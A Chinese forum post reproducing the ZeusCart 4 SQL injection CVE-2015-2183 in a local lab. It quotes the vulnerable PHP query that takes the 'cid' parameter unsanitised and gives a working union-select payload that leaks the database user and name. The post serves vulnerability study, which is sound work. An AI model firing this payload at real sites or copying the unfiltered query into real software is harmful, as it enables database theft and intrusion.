CVE-2015-2183 Zeuscart SQL注入漏洞复现

spider   ·   发表于 2021-09-19 22:31:40   ·   技术文章投稿区

0x01 ZeuscartCMS介绍

ZeusCart是一套基于PHP和MySQL的为中小型网店设计的开源购物系统。ZeusCart4版本的管理后台中存在SQL注入漏洞,该漏洞源于admin/URI没有充分过滤dispordersdetail和subadminmgtedit操作中的‘id’参数;admin/URI没有充分过滤editcurrency操作中的‘cid’参数。远程攻击者可利用该漏洞执行任意SQL命令。

0x02 注入原理

SQL注入是指攻击者利用Web应用程序数据与代码未严格分离、没有对用户输入进行严格的转义字符过滤和类型检查的漏洞,将一段精心构造的SQL命令注入到后台数据库引擎执行,导致数据库信息泄漏、网站挂马、数据库的系统管理员帐户被纂改、服务器被黑客安装后门远程控制等

环境搭建

下载地址:https://www.zeuscart.com/
下载之后解压开放在phpstudy中的www目录里就可以了


放进去之后 需要先在数据库中建立一个库,任意名字,留给安装的时候填写。
由于安装的步骤比较简单,所以不做演示

0x03 代码审计

先看c:\phpStudy\WWW\admin\classes\Core\Settings\CCurrencySettings.php文件
在108行至202行出现问题

发现这地方是直接调用sql语句没有做任何防护的

观察我们输入的参数cid即成为了currencyid参数
$currencyid=trim($_GET['cid']); $sql="select id as hidecurrencyid,currency_name,currency_code,currency_tocken,status from currency_master_table where id=$currencyid";

回到后台登录位置

点击Admin profile

然后把url改成刚刚那个存在问题的函数来验证是否存在

http://192.168.123.135/admin/?do=editcurrency&cid=1

此时可以尝试在1后面添加单引号
可以看见数字就消失了,说明存在注入

构建Payload:/admin/?do=editcurrency&cid=1+union+select+1,user(),3,database(),5--+
http://192.168.123.135/admin/?do=editcurrency&cid=1+union+select+1,user(),3,database(),5--+

可见已经把数据库和当前用户名输出了

总结原因:

executeQuery没有对cid参数做任何的检查,完全信任用户的cid输入,导致了sql注入漏洞的产生

用户名金币积分时间理由
cc11 5.00 0 2021-09-25 08:08:32 一个受益终生的帖子~~
Track-手电筒 10.00 0 2021-09-23 11:11:04 活动额外奖赏
Track-手电筒 20.00 0 2021-09-23 11:11:45 一个受益终生的帖子~~

打赏我,让我更有动力~

2 Reply   |  Until 22天前 | 197 View

wen
发表于 23天前

1

评论列表

  • 加载数据中...

编写评论内容

cc11
发表于 22天前

腻害

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者